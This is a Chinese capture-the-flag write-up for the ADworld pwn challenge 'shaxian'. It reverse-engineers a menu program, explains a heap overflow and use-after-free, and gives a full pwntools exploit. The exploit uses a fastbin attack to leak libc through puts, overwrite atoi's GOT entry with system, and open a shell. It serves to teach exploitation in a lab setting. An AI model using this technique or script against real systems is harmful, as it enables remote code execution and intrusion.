ADworld pwn wp - shaxian

前言

fastbin attack, 劫持got表

分析过程

在这里插入图片描述

int __cdecl main()
{
  int result; // eax
  int v1; // [esp+1Ch] [ebp-4h]

  alarm(0x1Eu);
  SetBuf();
  title();
  info();
  while ( 2 )
  {
    menu();
    v1 = input();
    if ( v1 == -1 )
      return 0;
    switch ( v1 )
    {
      case 1:
        Dian_Cai();
        continue;
      case 2:
        Submit();
        continue;
      case 3:
        Receipt();
        continue;
      case 4:
        Review();
        continue;
      case 5:
        result = 0;
        break;
      default:
        puts("Invalid choice!");
        fflush(stdout);
        continue;
    }
    break;
  }
  return result;
}

老规矩, 每个函数读一读, 发现在第一个分支函数里有溢出漏洞
在这里插入图片描述

第二个分支函数(submit), 也就是free, 清空后没有将指针置零
在这里插入图片描述
后边有一个review函数回显, 可以泄露信息

int sub_8048A20()
{
  int v1; // [esp+1Ch] [ebp-Ch]

  v1 = dword_804B1C0;
  if ( dword_804B2E0 )
  {
    puts("Cart:");
    while ( v1 )
    {
      printf("%s * %d\n", (v1 + 4), *v1);
      v1 = *(v1 + 36);
    }
    printf("Total:%d\n", dword_804B2E0);
  }
  else
  {
    puts("Nothing in cart");
  }
  printf("Address:%s\n", byte_804B1E0);
  printf("Phone:%s\n", byte_804B0C0);
  return printf("Title:%s\n", byte_804B300);
}

逆向出点菜的结构体

struct CAI{
	int count;
	char s[32];
	struct CAI *next;
}	

仔细看看程序逻辑, 程序是用头插法建立链表, 维护chunk
在这里插入图片描述

释放就是按链表自头向尾依次释放
在这里插入图片描述

漏洞利用

可以采用fastbin attack的方式, 控制chunk0溢出到chunk1, 修改chunk1的fd指针到链表头伪造一个chunk, 通过伪造的chunk控制链表头指针0x804B1C0, 这一步是通过phone number的输入实现
在这里插入图片描述

在这里插入图片描述

控制了指针0x804B1C0, 这样按照原程序逻辑走, 就会在add(str(system_addr - 0x100000000),cyclic(4) + p32(atoi_got))时, 将atoi_got改成system的地址, system_addr - 0x100000000是适应got表地址做出的调整 ( ?

在这里插入图片描述
修改了got表, 下一次发送"/bin/sh\x00"就可以调用system("/bin/sh")

exp

from LibcSearcher import LibcSearcher
from pwn import *
from pwnlib.util.cyclic import cyclic

url, port = "111.200.241.244", 59964
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def BK():
    gdb.attach(io)
    pause()

def add(content, count):
   io.sendlineafter('choose:', '1')
   io.sendlineafter('5.Jianjiao', content)
   io.sendlineafter('How many?', count)
 
def delete():
   io.sendlineafter('choose:', '2')
 
def show():
   io.sendlineafter('choose:', '4')

def pwn():
    puts_got = elf.got["puts"]
    atoi_got = elf.got["atoi"] 
    ptr = 0x804B1C0

    payload = cyclic(0xF0) + p32(0) + p32(0x31)
    io.sendlineafter('Your Address:','falca')
    io.sendlineafter('Your Phone number:', payload)

    add("0", "10")
    add("1", "10")
    add("2", "10")
    delete()

    payload = cyclic(0x20) + p32(puts_got - 4) # printf("%s * %d\n", (v1 + 4), *v1);
    payload += p32(0) + p32(0x31) + p32(ptr-0x10)
    add(payload, "10") # recall chunk0
    show()
    io.recvuntil("* 10\n")
    puts_addr = u32(io.recv(4))

    libc = LibcSearcher("puts", puts_addr)
    libc_base = puts_addr - libc.dump("puts")
    system_addr = libc_base + libc.dump("system")
    log.info("libc base address: %#x" % libc_base)
    log.info("system address: %#x" % system_addr)

    add("1", "10") # recall chunk1
    add(cyclic(4) + p32(atoi_got), str(system_addr - 0x100000000))
    io.sendlineafter('choose:','/bin/sh\x00')

    io.interactive()

if __name__ == '__main__':
    pwn()

总结

难点

(1) 理解最后一个payload的运行过程, 是巧妙利用程序直接对0x804B1C0地址进行input操作的逻辑, 修改0x804B1C0就可以修改任意地址, 这是一个任意地址写的功能, 而逆推回去, 为了修改0x804B1C0, 就需要伪造chunk, 进而控制0x804B1C0指针, 所以整个漏洞利用思路就清晰了

卡点

(1) 16进制计算犯了shapi错误, 0x100 - 0x10 = 0x90 (= =

参考

https://blog.csdn.net/seaaseesa/article/details/104241759

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值